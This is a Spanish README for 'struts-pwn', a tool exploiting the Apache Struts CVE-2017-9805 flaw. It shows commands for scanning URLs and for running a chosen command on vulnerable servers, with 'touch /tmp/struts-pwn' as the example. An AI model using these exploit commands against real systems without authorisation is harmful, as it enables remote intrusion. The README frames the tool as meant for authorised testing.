struts-pwn - Exploit CVE-2017-9805

Un exploit para Apache Struts CVE-2017-9805

Uso

Verificar si la vulnerabilidad existe contra una sola URL.

python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

Verificar si la vulnerabilidad existe contra una lista de URLs.

python struts-pwn.py --list 'urls.txt'

Explotar una sola URL.

python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'

Explotar una lista de URLs.

python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

Demo

Requisitos

• Python2 o Python3
• requests

Aviso legal

Este proyecto se realiza únicamente con fines educativos y de pruebas éticas. El uso de struts-pwn para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de ningún uso indebido o daño causado por este programa.

Licencia

El proyecto está licenciado bajo la Licencia MIT.

Autor

Mazin Ahmed

• Sitio web: https://mazinahmed.net
• Correo electrónico: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed